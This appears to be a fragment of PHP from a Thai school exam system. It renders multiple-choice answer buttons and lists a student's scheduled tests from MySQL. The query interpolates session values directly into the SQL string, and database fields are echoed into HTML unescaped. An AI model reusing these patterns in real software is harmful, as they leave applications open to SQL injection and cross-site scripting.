if($result['answer_num']>0){ echo "<b>เลือกคำตอบ</b>"; } echo "</td></tr>"; echo "<tr><td align='center'>"; if($result['answer_num']>=1){ echo "<input type='radio' name='answer' value='1' $check1>ข้อ 1"; } if($result['answer_num']>=2){ echo " <input type='radio' name='answer' value='2' $check2>ข้อ 2"; } if($result['answer_num']>=3){ echo " <input type='radio' name='answer' value='3' $check3>ข้อ 3"; } if($result['answer_num']>=4){ echo " <input type='radio' name='answer' value='4' $check4>ข้อ 4"; } if($result['answer_num']>=5){ echo " <input type='radio' name='answer' value='5' $check5>ข้อ 5"; } echo "</td></tr>"; echo "</table>"; echo "<Br>"; if($result['answer_num']>0){ echo "<div align='center'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url2()'></div>"; } else{ echo "<div align='center'><Font color='#006666' size='3'>สิ้นสุดการสอบ</font></div>"; } echo "</form>"; } //ส่วนการแสดงผล if(!(($index==1) or ($index==2) or ($index==2.2) or ($index==3) or ($index==4) or ($index==5.2) or ($index==7) or ($index==8))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>รายการสอบ</strong></font></td></tr>"; echo "</table>"; echo "<form id='frm1' name='frm1'>"; $today = date("Y-m-d H:i:s"); $sql = "select *,bets_sch_test.id from bets_sch_test,bets_schtest_testuser,bets_test_schuser where bets_sch_test.id=bets_schtest_testuser.sch_test_id and bets_sch_test.test_id=bets_test_schuser.test_id and bets_sch_test.school='$_SESSION[user_school]' and bets_sch_test.sch_test_active='1' and bets_schtest_testuser.person_id='$_SESSION[login_user_id]' and bets_test_schuser.school='$_SESSION[user_school]' and bets_test_schuser.start_date<'$today' and bets_test_schuser.stop_date>'$today' and bets_schtest_testuser.stop_test='0' "; $dbquery = mysqli_query($connect,$sql); echo "<table width='450' border='0' align='center'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='50'>ที่</Td><Td width='400'>ชื่อการสอบ</Td></Tr>"; $M=1; While ($result = mysqli_fetch_array($dbquery)){ $id = $result['id']; $sch_test_name= $result['sch_test_name']; if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; echo "<Tr bgcolor=$color align='center'><Td>$M</Td><Td align='left'><a href=?option=bets&task=main/test_student&index=1&sch_test_id=$id>$sch_test_name</a></Td>"; echo "</Tr>"; $M++; } echo "</Table>"; echo "</form>"; } ?> <script> function goto_url(val){ if(val==1){ if(frm1.sch_test_code.value == ""){ alert("กรุณากรอกรหัสการสอบ"); }else{ callfrm("?option=bets&task=main/test_student&index=7"); } } } function goto_url2(val){ if(frm1.answer.value == ""){ alert("ยังไม่ได้เลือกคำตอบ"); }else{ callfrm("?option=bets&task=main/test_student&index=4"); } } </script>
Close